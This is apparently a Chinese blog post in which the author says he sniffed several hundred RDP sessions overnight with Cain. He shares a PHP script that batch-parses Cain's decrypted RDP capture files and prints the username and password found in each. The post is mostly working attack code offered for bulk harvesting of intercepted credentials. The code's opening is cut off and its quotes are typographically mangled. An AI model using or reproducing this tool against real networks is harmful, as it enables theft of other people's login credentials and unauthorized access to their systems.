Cain的RDP包批量解析为用户名+密码的php脚本

昨天晚上开始嗅探，好家伙好几百个包，网上搜了一下有一款工具叫“Cain RDP Parser”，一个一个选，玩死人的。
索性写了个PHP脚本来批量解析。凑合着用。

 $value) {
if($value!=’.’ && $value!=’..’)
{
rdpParser($argv[1].$value);
}
}
}elseif(is_file($argv[1]))
{
rdpParser($argv[1]);
}

function rdpParser($filename){
$crlf = “\r\n”;
if(!file_exists($filename)){
print “file \”$filename\” not exists…$crlf”;
return;
}
$rdpH=fopen($filename,’r');
print “FILE:”.basename($filename).$crlf;
fseek($rdpH,0);
while (!feof($rdpH)) {
$line=trim(fgets($rdpH));
if(preg_match(“/\w+.address:.*?$/”,$line,$m))
{
print $line.$crlf;
}
if(preg_match(“/^\[Client decrypted packet\]/”,$line,$m))
{
$packet=”;
while (!empty($line)) {
$line=trim(fgets($rdpH));
$packet.=substr($line,5,48);
}
$packets=explode(’0000000000′,str_replace(‘ ‘, ”, $packet));
$i=count($packets)-27;
$packets=explode(’0000′,$packets[$i]);
$times=0;
foreach ($packets as $key => $value) {
if(empty($value) || $times>=2)continue;
print (($times==0)?’username’:'password’).”:\t”.pack(‘H*’,$value).$crlf;
$times++;
}
break;
}
}
fclose($rdpH);
print “——————————-$crlf”;
}
?>